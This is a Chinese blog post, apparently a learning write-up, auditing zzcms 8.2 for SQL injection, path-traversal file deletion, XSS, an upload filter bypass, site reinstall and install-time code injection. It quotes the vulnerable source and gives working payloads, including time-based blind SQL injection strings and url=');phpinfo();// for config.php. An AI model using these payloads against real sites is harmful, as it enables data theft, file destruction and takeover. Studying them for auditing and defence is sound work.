前言 最近实习任务调整成代码审计了,其实原来也复现过一些 cms 的漏洞,但是因为在 mac 上一直不能实现管理多个版本的 php,所以也没有深入去学习代码审计。虽然校赛出的题是搭在 docker 上的,但是懒得用 docker 搭建多个版本 php 了。直到请教了知弦师傅,得到了一篇很好的文章 ) 有了一个舒服的代码审计的环境,就可以正式开始学习审计了: )
环境: zzcms 8.2 源码 apache 2.4.38 + php 7.0.33 + mariadb 10.3.14 vscode + xdebug
sql注入 相关目录: /user:前台注册用户相关的目录。 /inc:网站所需包含的各种文件的存放目录。
/inc 这个目录里面有几个常用的文件。其中/inc/conn.php
文件主要负责数据库连接的工作。
1 2 3 4 5 6 7 8 9 define('zzcmsroot' , str_replace("\\" , '/' , substr(dirname(__FILE__ ), 0 , -3 ))); ... include (zzcmsroot."/inc/function.php" );include (zzcmsroot."/inc/stopsqlin.php" ); ... $conn=mysqli_connect(sqlhost,sqluser,sqlpwd,sqldb,sqlport) or showmsg ("数据库链接失败" ); mysqli_real_query($conn,"SET NAMES 'utf8'" ); mysqli_select_db($conn,sqldb) or showmsg ("没有" .sqldb."这个数据库,或是被管理员断开了链接,请稍后再试" );
/inc/conn.php
文件开头包含了一些其他文件,主要关注/inc/function.php
和/inc/stopsqlin.php
这两个文件。在/inc/function.php
文件里定义了很多函数。/inc/stopsqlin.php
文件主要对 gpc(get、post、cookie)中的数据进行了转义和实体化处理。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 function zc_check ($string) { if (!is_array($string)){ if (get_magic_quotes_gpc()){ return htmlspecialchars(trim($string)); }else { return addslashes(htmlspecialchars(trim($string))); } } foreach ($string as $k => $v) $string[$k] = zc_check($v); return $string; } if ($_REQUEST){ $_POST =zc_check($_POST); $_GET =zc_check($_GET); $_COOKIE =zc_check($_COOKIE); @extract($_POST); @extract($_GET); }
第一处注入在/user/check.php
件里。该文件主要通过 cookie 里的 UserName 和 PassWord 两个字段验证了用户的登录状态,UserName 是前台用户真实的账号名,PassWord 是用户的密码 md5 加密后的值。未登录则返回登录页面。
1 2 3 4 5 if (!isset ($_COOKIE["UserName" ]) || !isset ($_COOKIE["PassWord" ])){ echo "<script>location.href='/user/login.php';</script>" ; }else { ...
在/user/del.php
文件的开头包含了和/inc/conn.php
和/user/check.php
文件。
1 2 include ("../inc/conn.php" );include ("check.php" );
继续看/user/check.php
文件。当验证用户登录后,会进入 else 语句,里面一共有5处 sql 语句。看一下第一处:
1 2 $username=nostr($_COOKIE["UserName" ]); $rs=query("select id,usersf,lastlogintime from zzcms_user where lockuser=0 and username='" .$username."' and password='" .$_COOKIE["PassWord" ]."'" );
函数 nostr() 定义在/inc/stopsqlin.php
文件中,过滤了一些非法字符,如'
、/
、\
等。 这句查询里 username 和 password 取自请求头中的 Cookie 字段,但是前面讲了/inc/stopsqlin.php
文件中对 $_COOKIE 中的单引号进行了转义,所以无法闭合这句查询的单引号。 看一下第二处:
1 query("UPDATE zzcms_user SET loginip = '" .getip()."' WHERE username='" .$username."'" );
看一下 getip() 函数,定义在/inc/function.php
中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 function getip () { if (getenv("HTTP_CLIENT_IP" ) && strcasecmp(getenv("HTTP_CLIENT_IP" ), "unknown" )) $ip = getenv("HTTP_CLIENT_IP" ); else if (getenv("HTTP_X_FORWARDED_FOR" ) && strcasecmp(getenv("HTTP_X_FORWARDED_FOR" ), "unknown" )) $ip = getenv("HTTP_X_FORWARDED_FOR" ); else if (getenv("REMOTE_ADDR" ) && strcasecmp(getenv("REMOTE_ADDR" ), "unknown" )) $ip = getenv("REMOTE_ADDR" ); else if (isset ($_SERVER['REMOTE_ADDR' ]) && $_SERVER['REMOTE_ADDR' ] && strcasecmp($_SERVER['REMOTE_ADDR' ], "unknown" )) $ip = $_SERVER['REMOTE_ADDR' ]; else $ip = "unknown" ; return ($ip); }
该函数获取用户的 ip,这里 ip 可以从请求头中的 X-Forwarded-For 字段 中取到,并且没有对取出来的 ip 做任何处理,就直接拼接到第二处 sql 查询中。 我们先在/user/login.php
页面中注册一个账号,账号和密码都是 admin。登录后,看一下 zzcms_user 表中的 loginip 字段的值:
抓包后我们添加 X-Forwarded-For 字段:
可见数据库中的 loginip 字段被修改了,我们试一下时间盲注。 在/user/del.php
中下断点:
在/user/check.php
中也下一个断点,并添加一个 $test 变量查看一下 ip 值:
可以看到 ip 值未经任何处理:
取消 vscode 监听,因为 burp 的响应时间是根据调试的时间返回的,单独 burp 发包看一下响应时间:
看一下/user/check.php
中剩下的3个 sql 查询:
1 2 3 4 5 if (strtotime(date("Y-m-d H:i:s" ))-strtotime($lastlogintime)>3600 *24 ){ query("UPDATE zzcms_user SET totleRMB = totleRMB+" .jf_login." WHERE username='" .$username."'" ); query("insert into zzcms_pay (username,dowhat,RMB,mark,sendtime) values('" .$username."','每天登录用户中心送积分','+" .jf_login."','','" .date('Y-m-d H:i:s' )."')" ); } query("UPDATE zzcms_user SET lastlogintime = '" .date('Y-m-d H:i:s' )."' WHERE username='" .$username."'" );
jf_login 是一个常量,定义在/inc/config.php
中。而其他部分也不可控,所以这三句查询无法利用。 上面的注入发生在访问/user/del.php
文件时,进入了/user/check.php
发生了注入。实际上在/user/del.php
文件中也存在注入。 在包含了/user/check.php
文件后,/user/del.php
文件接收了 post 中的三个参数:
1 2 3 4 5 6 7 8 9 10 $pagename=trim($_POST["pagename" ]); $tablename=trim($_POST["tablename" ]); $id="" ; if (!empty ($_POST['id' ])){ for ($i=0 ; $i<count($_POST['id' ]);$i++){ checkid($_POST['id' ][$i]); $id=$id.($_POST['id' ][$i].',' ); } $id=substr($id,0 ,strlen($id)-1 ); }
该文件从 post 数组中取出了 pagename、tablename、id,并对 id 调用了 checkid() 进行处理。该函数定义在/inc/function.php
中。
1 2 3 4 5 6 7 8 9 function checkid ($id,$classid=0 ,$msg='' ) { if ($id<>'' ){ if (is_numeric($id)==false ){showmsg('参数 ' .$id.' 有误!相关信息不存在' );} elseif ($id>100000000 ){showmsg('参数超出了数字表示范围!系统不与处理。' );} if ($classid==0 ){ if ($id<1 ){showmsg('参数有误!相关信息不存在。\r\r提示:' .$msg);} } }
这里对 id 进行检查,我们无法控制 id 进行注入。 继续往下看/user/del.php
,是一个 switch 的判断:
1 2 3 4 5 6 7 8 switch ($tablename) { case "zzcms_main" ; ... break ; case "zzcms_licence" ; ... break ; }
该 switch 判断不存在 sql 注入的点。继续往下看:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 if ($tablename=='zzcms_guestbook' ){ if (strpos($id,"," )>0 { $sql="select id,saver from " .$tablename." where id in (" .$id.")" ; }else { $sql="select id,saver from " .$tablename." where id ='$id'" ; } ... }elseif ($tablename=='zzcms_dlly' ){ if (strpos($id,"," )>0 { $sql="select id,saver from zzcms_dl where id in (" .$id.")" ; }else { $sql="select id,saver from zzcms_dl where id ='$id'" ; } ... }else { if (strpos($id,"," )>0 { $sql="select id,editor from " .$tablename." where id in (" .$id.")" ; }else { $sql="select id,editor from " .$tablename." where id ='$id'" ; } $rs=query($sql); $row=num_rows($rs); ... }
这里 tablename 我们可控,当其值不等于 zzcms_guestbook 和 zzcms_dlly 时,便进入到 else 分支中,在该分支中,未对 tablename 进行处理,便拼接进了 sql 查询中。 但是因为 tablename 是从 post 数组中取出来的,而前面说到在/inc/stopsqlin.php
中对数据进行了过滤。过滤步骤如下:
先调用 trim() 去除数据首尾处的空白字符。
再调用 htmlspecialchars() 将&
、"
、'
、>
、<
抓换为 html 实体。
最后调用 addslashes() 用反斜线\
对'
、"
、\
、null
进行转义。
而在拼接 tablename 时不用闭合引号,这里可以使用时间盲注。
1 2 3 4 payload: zzcms_dl where id = 1 and if((ascii(substr(database(),1,1)) = 122), sleep(6), 1); # zzcms_dl where id = 1 and if(ascii((substr((select database()), 1, 1)) = 122), benchmark(1000000,sha1(1)), 1); # zzcms_dl where id = 1 and case when (ascii(substr((select database()), 1, 1)) = 122) then sleep(6) else 1 end; #
接下来复现一下,记得 post 中要传入 id 的值,不然在/user/del.php
对 id 的判断中会执行 exit()。id 如果传入的不是数组,则需要以数字 1-9 开头,如果传入的是数组,则每个元素的范围是 1<= id <=100000000。 因为查询语句是用 and 连接,所以如果前面的查询中没有返回信息,则 and 起到短路作用,之后的 payload 就不会执行了。 为了测试我们直接向 zzcms_dl 表中插入一行数据:
vscode 下断点跟一下:
可以看到数据拼接进 sql 查询语句了。直接 burp 看一下响应:
可以看到 payload 生效了。 这里其实不用注册前台用户,也可以实现注入,再看一次/user/del.php
开头包含的/user/check.php
文件,该文件主要对用户的身份进行了验证。
1 2 3 4 5 if (!isset ($_COOKIE["UserName" ]) || !isset ($_COOKIE["PassWord" ])){ echo "<script>location.href='/user/login.php';</script>" ; }else { ... }
可以看到如果 cookie 中没有存储登录信息,会通过改变 location.href 的值跳转到登录页面,但是因为这是 js 的脚本,且没有执行 exit() 或 die() 等函数,所以/user/del.php
之后的脚本会继续执行,任然会产生注入。 但是上面的 payload 是有条件的,即zzcms_dl
表中要有数据,换成其他表也一样。所以我们可以通过 union 注入实现取消的该条件的限制。可以看到该注入点原本是要查询 id 和 editor 这两个字段的值,所以 union 中要有两个占位符 1 和 2。
1 2 3 payload: zzcms_dl where id = 2 union select 1,2 and if((ascii(substr(database(),1,1)) = 122), sleep(6), 1); # zzcms_dl where id = 2 union select 1,if((ascii(substr(database(),1,1)) = 122), sleep(6), 1); #
该 payload 同样可以实现 sql 注入。
文件删除 相关目录: /user:前台注册用户相关的目录。 /inc:网站所需包含的各种文件的存放目录。 /admin:默认后台管理目录。
继续用前面注册的用户,账号密码都是 admin。 用户登录后,看一下/user/adv.php
页面,用户可以在该页面添加或修改广告信息。
该页面对应的文件前两行:
1 2 include ("../inc/conn.php" );include ("check.php" );
前面讲了/user/check.php是验证登录信息的文件。
/inc/conn.php是连接数据库的文件,该文件中包含了另一个
/inc/stopsqlin.php文件,对 get、post、cookie 中的数据进行了过滤。
继续看
/user/adv.php`其他代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 if (isset ($_REQUEST["img" ])){ $img=$_REQUEST["img" ]; }else { $img="" ; } if (isset ($_REQUEST["oldimg" ])){ $oldimg=$_REQUEST["oldimg" ]; }else { $oldimg="" ; } ... if ($action=="modify" ){ ... if ($oldimg<>$img){ $f="../" .$oldimg; if (file_exists($f)){ unlink($f); } } } if ($action=="add" ){ if ($oldimg<>$img && $oldimg!='' ){ $f="../" .$oldimg; if (file_exists($f)){ unlink($f); } } }
这里看到 img 和 oldimg 的值取自 request 数组,抓包可以看到实际来自 post 数组,而前面/inc/stopsqlin.php
文件中对 post 的处理中并没有过滤.
、/
字符,导致可以跨目录删除文件。 action 的值提交时来自 get 数组,当其值为 modify 或者 add 时,只要 img 和 oldimg 值不相等,都会导致该漏洞。因为之前我添加过广告了,这里就用 modify 的条件语句复现一下。 先随便在网站根目录找一个目录,这里用 ask 目录,在该目录下创建一个 test 文件。
然后抓包改一下 img 和 oldimg:
再去看一下该目录,发现 test 文件已经被删除了:
该操作其实不用前台用户登录,原因和前面讲的一样。 除此之外,我们可以使用../
跳出网站根目录删除其他文件,只要 www-data 用户对该文件有相应权限都可以造成文件删除漏洞。 我们试一下 action = add,不带 cookie,去删除网站目录之外的文件。我的网站根目录是 llfam,我在同目录下创建一个 ll.php 文件,修改完请求后再次查看该文件。
可以看到我去掉了 cookie。再去看一下 ll.php 文件所在目录:
成功将 ll.php 删除了。 在/user/licence_save.php
中,也存在相同的问题:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 $img=trim($_POST["img" ]); if ($_GET["action" ]=="add" ){ ... }elseif ($_GET["action" ]=="modify" ){ $oldimg=trim($_POST["oldimg" ]); $id=$_POST["id" ]; if ($id=="" || is_numeric($id)==false ){ ... }else { ... if ($oldimg<>$img && $oldimg<>"/image/nopic.gif" ){ $f="../" .$oldimg; if (file_exists($f)){ unlink($f); } $fs="../" .str_replace("." ,"_small." ,$oldimg)."" ; if (file_exists($fs)){ unlink($fs); }
用 vscode 全局搜索一下 oldimg:
发现 /user 目录下的 manage.php、ppsave.php、zssave.php文件都存在一样的问题。实际上在 /admin 目录下的一些文件中也存在类似问题。 随便看一个/admin/ad_user_modify.php
找到 oldimg 的位置:
1 2 3 4 5 6 if ($oldimg<>$img && $oldimg<>"/image/nopic.gif" ){ $f="../" .$oldimg; if (file_exists($f)){ unlink($f); } }
访问一下该页面,可以看到是一个修改广告信息的页面:
找到相应源码:
1 2 // /admin/ad_user_modify.php line 52 <td align ="right" class ="border" > <strong > 图片地址</strong > <input name ="oldimg" type ="hidden" id ="oldimg" value ="<?php echo $row[" img "]?> ">
可以看到该表单提交上来的 oldimg 的 type 属性是 hidden,我们只需要抓包后修改即可。 再看一下/admin/ad_user_modify.php
中的源码:
1 2 3 4 5 6 7 8 9 $action = isset ($_POST['action' ])?$_POST['action' ]:'' ; if ($action=="modify" ){ ... if ($oldimg<>$img && $oldimg<>"/image/nopic.gif" ){ $f="../" .$oldimg; if (file_exists($f)){ unlink($f); } }
因为该文件在 /admin 目录,所以需要登录后台管理的权限。 抓包后将 post 中的数据改为 oldimg=filename&img=xxx&action=modify
即可。 在 /user 目录下的文件删除漏洞其实不需要前台用户登录,因为其验证登录状态的/user/check.php
文件并没有终止脚本的执行,而 /admin 目录下的验证用户身份的文件/admin/admin.php
中如果身份出错就会调用 showmsg()。 该方法定义在/inc/function.php
中,其中调用了 exit:
1 2 3 4 5 function showmsg ($msg,$zc_url = 'back' ) { ... exit ; }
xss 相关目录: /inc:网站所需包含的各种文件的存放目录 /install:安装程序目录。 /zx:资讯。
通过上面的审计,可以发现大部分文件都会在开头包含/inc/conn.php
文件去连接数据库,而该文件中包含的/inc/stopsqlin.php
文件会对 gpc 中的数据进行过滤。 而/inc/top.php
文件中,并没有包含/inc/conn.php
文件,所以传入其中的数据并没有进行过滤。看一下/inc/top.php
开头部分的代码:
1 2 3 4 5 <?php if (@$_POST["action" ]=="search" ){ echo "<script>location.href='" .@$_POST["lb" ]."/search.php?keyword=" .@$_POST["keyword" ]."'</script>" ; }
可以看到这里将部分跳转网页的 js 代码和 post 中的数据进行了拼接,而上面说到,因为该文件中没有包含对 gpc 数据进行的处理的/inc/stopsqlin.php
文件,导致该处代码存在 xss 漏洞。
在uploadimg_form.php
中也存在着同样的漏洞:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php if (!isset ($_COOKIE["UserName" ]) && !isset ($_SESSION["admin" ])){ session_write_close(); echo "No Login!" ; exit ; } ?> ... <form action ="uploadimg.php" method ="post" enctype ="multipart/form-data" onSubmit ="return mysub()" style ="padding:10px" target ="doaction" > <div id ="esave" style ="position:absolute; top:0px; left:0px; z-index:10; visibility:hidden; width: 100%; height: 77px; background-color: #FFFFFF; layer-background-color: #FFFFFF; border: 1px none #000000;" > <div align ="center" > <br /> <img src ="image/loading.gif" width ="24" height ="24" /> 正在上传中...请稍候!</div > </div > <input type ="file" name ="g_fu_image[]" /> <input type ="submit" name ="Submit" value ="提交" /> <input name ="noshuiyin" type ="hidden" id ="noshuiyin" value ="<?php echo @$_GET['noshuiyin']?>" /> <input name ="imgid" type ="hidden" id ="imgid" value ="<?php echo @$_GET['imgid']?>" /> </form >
该页面是一个上传文件的页面:
可以看到上面的表单代码中,有两处直接将 get 数组中的字段拼接进 html 代码中:
1 2 <input name ="noshuiyin" type ="hidden" id ="noshuiyin" value ="<?php echo @$_GET['noshuiyin']?>" /> <input name ="imgid" type ="hidden" id ="imgid" value ="<?php echo @$_GET['imgid']?>" />
并且该文件也没有对 get 数组中的数据进行过滤,导致该处存在 xss 漏洞,不过该文件处开头部分需要验证用户登录状态,所以需要先注册一个前台用户。
继续看下一处 xss。看一下/install/index.php
文件,开头部分存在 extract() 变量覆盖注册:
1 2 3 4 if ($_POST) extract($_POST, EXTR_SKIP);if ($_GET) extract($_GET, EXTR_SKIP);... $step = isset ($_POST['step' ]) ? $_POST['step' ] : 1 ;
可以看到/install/index.php
文件中,并没有对/install/install.lock
文件的存在进行验证。往下看,是一个 switch 分支,根据 step 变量的值显示每一步的安装界面。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 switch ($step) { case '1' : include 'step_' .$step.'.php' ; break ; case '2' : ... include 'step_' .$step.'.php' ; case '3' : ... include 'step_' .$step.'.php' ; case '4' : ... include 'step_' .$step.'.php' ; case '5' : ... include 'step_' .$step.'.php' ; case '6' : include 'step_' .$step.'.php' ; break ; }
可以看到每一个分支中,都会包含相应的文件,而只有在 step = 1 的分支中对/install/install.lock
文件进行了检测。
1 2 3 4 if (file_exists("install.lock" )){ echo "<div style='padding:30px;'>安装向导已运行安装过,如需重安装,请删除 /install/install.lock 文件</div>" ; }
其他包含的文件中,并没有对/install/install.lock
文件进行检测,在 step = 6 的分支中,包含了/install/step_6.php
文件,该文件内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php if (@$step==6 ){ fopen("install.lock" ,"w" ); ?> <div class ="body" > 恭喜!您已经成功安装zzcms网站管理系统<br /> <br /> <fieldset > <legend > 网站管理信息 </legend > 网站后台地址:<a href ="/admin" > /admin</a > <br /> 管理员户名:<?php echo $admin?> <br /> 管理员密码: <?php echo $adminpwdtrue?> <br /> </fieldset > <br /> 非常感谢选择zzcms产品<br /> 更多产品相关信息,敬请关注 <a href ="http://www.zzcms.net" target ="_blank" > www.zzcms.net</a > <input type ="button" value ="登录后台" onclick ="window.location='/admin';" /> <input type ="button" value ="网站首页" onclick ="window.location='../index.php';" /> </div >
可以看到部分 php 代码输出到了 html 代码中,而在/install/index.php
文件中并没有对 extract() 注册的变量进行很好地过滤。
还有一个 xss 是存储型 xss,存在问题的文件是/zx/show.php
。
该文件在开头会在 zzcms_zx 表中查询数据,如果没有数据就会调用 showmsg() 函数终止代码执行。
1 2 3 4 5 6 7 8 9 10 11 12 13 if (isset ($_GET["id" ])){ $zxid=$_GET["id" ]; checkid($zxid); }else { $zxid=0 ; } $sql="select * from zzcms_zx where id='$zxid'" ; $rs=query($sql); $row=fetch_array($rs); if (!$row){ showmsg('不存在相关信息!' ); }else {
在/user/zxsave.php
文件中,会对 zzcms_zx 表进行操作。先注册一个前台用户,并用网站管理员身份登录后台,在后台审核注册的前台用户。
看一下/user/zxsave.php
中对 zzcms_zx 表的相应操作:
1 2 3 4 5 6 if ($_POST["action" ]=="add" ){ $isok=query("Insert into zzcms_zx(bigclassid,bigclassname,smallclassid,smallclassname,title,link,laiyuan,keywords,description,groupid,jifen,content,img,editor,sendtime) values('$bigclassid','$bigclassname','$smallclassid','$smallclassname','$title','$link','$laiyuan','$keywords','$description','$groupid','$jifen','$content','$img','$editor','" .date('Y-m-d H:i:s' )."')" ); $id=insert_id(); }elseif ($_POST["action" ]=="modify" ){ $isok=query("update zzcms_zx set bigclassid='$bigclassid',bigclassname='$bigclassname',smallclassid='$smallclassid',smallclassname='$smallclassname',title='$title',link='$link',laiyuan='$laiyuan',keywords='$keywords',description='$description',groupid='$groupid',jifen='$jifen',content='$content',img='$img',editor='$editor',sendtime='" .date('Y-m-d H:i:s' )."',passed=0 where id='$id'" ); }
当 action 为 add 或者 modify 时,都会对 zzcms_zx 表进行相应操作,而这两个表单分别在/user/zxadd.php
和/user/zxmodify.php
文件中。 看一下/user/zxsave.php
文件如何对提交上来的数据进行处理。在该文件开头包含了/inc/conn.php
文件,其中又包含了/inc/stopsqlin.php
文件,和上面对 gpc 中数据的过滤方式一样。 我们先在/user/zxadd.php
页面中往 zzcms_zx 表中插入数据。
可以看到相应字符被转义和实体化了:
在/zx/show.php
页面中,会将我们存入的数据进行展示,这里存入的第一条数据的 id 字段是1,所以我们访问/zx/show.php?id=1
。
再看一下/zx/show.php
中对 zzcms_zx 数据的处理:
1 2 $content=stripfxg($row["content" ],true );
该处取出的 content 内容调用了 stripfxg() 方法,跟进看一下该方法,定义在/inc/function.php
:
1 2 3 4 5 6 7 8 9 10 function stripfxg ($string,$htmlspecialchars_decode=false,$nl2br=false) { $string=stripslashes($string); if ($htmlspecialchars_decode==true ){ $string=htmlspecialchars_decode($string); } if ($nl2br==true ){ $string=nl2br($string); } return $string; }
对前面转义和实体化的数据进行了还原。 之后的/zx/show.php
中没有对 content 进行其他安全操作,直到结尾调用模板文件,并将 content 写入相应位置。所以这里存在 xss 漏洞。 我们先添加一条资讯:
访问该资讯的展示页:
即可触发 xss 漏洞。
文件上传 在/uploadimg_form.php
页面中提供了文件上传功能:
该页面的文件上传的表单提交到/uploadimg.php
中:
1 2 3 4 5 // /uploadimg_form.php line 61 <form action ="uploadimg.php" method ="post" enctype ="multipart/form-data" onSubmit ="return mysub()" style ="padding:10px" target ="doaction" > ... <input type ="file" name ="g_fu_image[]" /> <input type ="submit" name ="Submit" value ="提交" /> ...
看一下/uploadimg.php
是如何处理的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 class upload { ... function upfile () { if (!is_uploaded_file(@$this ->fileName[tmp_name])){ echo "<script>alert('请点击“浏览”,先选择您要上传的文件!\\n\\n支持的图片类型为:jpg,gif,png,bmp');parent.window.close();</script>" ; exit ; } if ($this ->max_file_size*1024 < $this ->fileName["size" ]){ echo "<script>alert('文件大小超过了限制!最大只能上传 " .$this ->max_file_size." K的文件');parent.window.close();</script>" ;exit ; } if (!in_array($this ->fileName["type" ], $this ->uptypes)) { echo "<script>alert('文件类型错误,支持的图片类型为:jpg,gif,png,bmp');parent.window.close();</script>" ;exit ; } $hzm=strtolower(substr($this ->fileName["name" ],strpos($this ->fileName["name" ],"." ))); if (strpos($hzm,"php" )!==false || strpos($hzm,"asp" )!==false ||strpos($hzm,"jsp" )!==false ){ echo "<script>alert('" .$hzm.",这种文件不允许上传');parent.window.close();</script>" ;exit ; } } ... }
该文件中定义了一个处理上传图片的类 upload,其中的 upfile() 方法对文件进行了检测,先判断文件是否存在,再判断文件大小,接着检查文件类型和文件后缀。 在检查文件类型中,可以用 GIF89a 的头部绕过检查,在检查文件后缀中,黑名单少过滤了 phtml,在 apache 中,会将 phtml 文件按照 php 文件来解析。 继续看uploadimg.php
,可以看到下面实例化了 upload 类,并调用了 upfile() 方法对上传的文件进行检测并上传该文件到服务器。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 $filename = array (); for ($i = 0 ; $i < count($_FILES['g_fu_image' ]['name' ]); $i++){ $filename[$i]['name' ]=$_FILES['g_fu_image' ]['name' ][$i]; $filename[$i]['type' ]=$_FILES['g_fu_image' ]['type' ][$i]; $filename[$i]['tmp_name' ]=$_FILES['g_fu_image' ]['tmp_name' ][$i]; $filename[$i]['error' ]=$_FILES['g_fu_image' ]['error' ][$i]; $filename[$i]['size' ]=$_FILES['g_fu_image' ]['size' ][$i]; } for ($i = 0 ; $i < count($filename); $i++){ $filetype=strtolower(strrchr($filename[$i]['name' ],"." )); $up = new upload(); $up->fileName = $filename[$i]; $up->fdir='uploadfiles/' .date("Y-m" ).'/' ; $up->datu=date("YmdHis" ).rand(100 ,999 ).$filetype; $up->upfile();
回到/uploadimg.form.php
页面,上传文件并抓包:
网站重装 相关目录: /install:安装程序目录。
看一下/install/index.php
文件,该文件中并没有检测/install/install.lock
文件是否存在。/instal/index.php
中有关代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 $step = isset ($_POST['step' ]) ? $_POST['step' ] : 1 ; ... switch ($step) { case '1' : include 'step_' .$step.'.php' ; break ; case '2' : ... include 'step_' .$step.'.php' ; case '3' : ... include 'step_' .$step.'.php' ; case '4' : ... include 'step_' .$step.'.php' ; case '5' : ... include 'step_' .$step.'.php' ; case '6' : include 'step_' .$step.'.php' ; break ; }
上面审计 xss 的时候看过了,只有/install/step_1.php
文件在开头检查了/install/install.lock
。
而在/install/step_2.php
、/install/step_3.php
、/install/step_4.php
、/install/step_5.php
、/install/step_6.php
文件中都没有对/install/install.lock
文件进行检查。 我们只需要 post 传入 id,并设置其值为 2、3、4、5、6 之一即可。
该漏洞利用不需要带前台用户的 cookie,可以看到我们进入了安装向导的界面。 同理 step 传入 3 也一样可以触发该漏洞:
该重装的漏洞的利用需要管理未删除/install
文件夹及里面相应的文件。
getshell 相关目录: /install:安装程序目录。
还是看/install/index.php
文件。开头用 extract() 注册变量,且该文件并没有对 post、get 数组中的数据进行过滤。
1 2 if ($_POST) extract($_POST, EXTR_SKIP);if ($_GET) extract($_GET, EXTR_SKIP);
下面的 switch 分支主要看 step = 5 的分支:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 switch ($step) { case '1' : include 'step_' .$step.'.php' ; break ; case '2' : ... case '3' : ... case '4' : ... case '5' : function dexit ($msg) { echo '<script>alert("' .$msg.'");window.history.back();</script>' ; exit ; } $conn=connect($db_host,$db_user,$db_pass,'' ,$db_port); if (!$conn) dexit('无法连接到数据库服务器,请检查配置' ); $db_name or dexit('请填写数据库名' ); if (!select_db($db_name)) { if (!query("CREATE DATABASE $db_name" )) dexit('指定的数据库不存在\n\n系统尝试创建失败,请通过其他方式建立数据库' ); } $fp="../inc/config.php" ; $f = fopen($fp,'r' ); $str = fread($f,filesize($fp)); fclose($f); $str=str_replace("define('sqlhost','" .sqlhost."')" ,"define('sqlhost','$db_host')" ,$str) ; $str=str_replace("define('sqlport','" .sqlport."')" ,"define('sqlport','$db_port')" ,$str) ; $str=str_replace("define('sqldb','" .sqldb."')" ,"define('sqldb','$db_name')" ,$str) ; $str=str_replace("define('sqluser','" .sqluser."')" ,"define('sqluser','$db_user')" ,$str) ; $str=str_replace("define('sqlpwd','" .sqlpwd."')" ,"define('sqlpwd','$db_pass')" ,$str) ; $str=str_replace("define('siteurl','" .siteurl."')" ,"define('siteurl','$url')" ,$str) ; $str=str_replace("define('logourl','" .logourl."')" ,"define('logourl','$url/image/logo.png')" ,$str) ; $f=fopen($fp,"w+" ); fputs($f,$str); fclose($f); include 'step_' .$step.'.php' ; break ; case '6' : include 'step_' .$step.'.php' ; break ; }
该分支中先定义了一个dexit()
函数,之后进行了数据库连接:
1 2 3 4 5 6 $conn=connect($db_host,$db_user,$db_pass,'' ,$db_port); if (!$conn) dexit('无法连接到数据库服务器,请检查配置' );$db_name or dexit('请填写数据库名' ); if (!select_db($db_name)) { if (!query("CREATE DATABASE $db_name" )) dexit('指定的数据库不存在\n\n系统尝试创建失败,请通过其他方式建立数据库' ); }
可以看到如果连接失败,就会调用 dexit() 函数终止脚本的执行,这样下面的代码就不会执行。为了让数据库正确连接,则 db_host、db_user、db_pass、db_port、db_name 这4个变量我们就不可控。 接下来是对/inc/config.php
文件进行操作,该文件里面定义了安装完 cms 后需要用到的各种常量。/install/index.php
中先读取了/inc/config.php
的内容,并根据我们安装时设置的初始化信息对该内容进行修改,之后再存回/inc/config.php
中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 $fp="../inc/config.php" ; $f = fopen($fp,'r' ); $str = fread($f,filesize($fp)); fclose($f); $str=str_replace("define('sqlhost','" .sqlhost."')" ,"define('sqlhost','$db_host')" ,$str) ; $str=str_replace("define('sqlport','" .sqlport."')" ,"define('sqlport','$db_port')" ,$str) ; $str=str_replace("define('sqldb','" .sqldb."')" ,"define('sqldb','$db_name')" ,$str) ; $str=str_replace("define('sqluser','" .sqluser."')" ,"define('sqluser','$db_user')" ,$str) ; $str=str_replace("define('sqlpwd','" .sqlpwd."')" ,"define('sqlpwd','$db_pass')" ,$str) ; $str=str_replace("define('siteurl','" .siteurl."')" ,"define('siteurl','$url')" ,$str) ; $str=str_replace("define('logourl','" .logourl."')" ,"define('logourl','$url/image/logo.png')" ,$str) ; $f=fopen($fp,"w+" ); fputs($f,$str); fclose($f);
因为数据库连接的原因,前几个变量的值我们不可控,而 url 变量我们是可控,如下:
1 2 $str=str_replace("define('siteurl','" .siteurl."')" ,"define('siteurl','$url')" ,$str) ; $str=str_replace("define('logourl','" .logourl."')" ,"define('logourl','$url/image/logo.png')" ,$str) ;
str 的内容就是/inc/config.php
中的内容,看一下相应部分:
1 2 define('siteurl' ,'http://cp.com' ) ;
这里我们只要闭合单引号,并注释后面部分即可。
1 2 payload: url=');phpinfo();//
经过替换后/inc/config.php
的内容被更改为:
1 2 define('siteurl' ,'' );phpinfo();
利用该漏洞后,我们只要访问/inc/config.php
文件,就可以看 phpinfo(); 的内容。 payload :
可以看到我们已经修改了/inc/config.php
中相应部分的内容:
我们再去访问/inc/config.php
:
在实际的场景中,基本上没有该漏洞的利用条件。第一个条件是要知道数据库的账号和密码等信息,这可以结合前面的 sql 注入去实现。第二个同网站重装漏洞一样,在网站搭建完成后,管理员没有删除/install
文件夹及里面相应的文件。
ref:https://mochazz.github.io/2018/02/12/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E4%B9%8Bzzcms82/ https://www.freebuf.com/vuls/161888.html https://www.freebuf.com/column/165934.html https://bbs.ichunqiu.com/thread-35355-1-1.html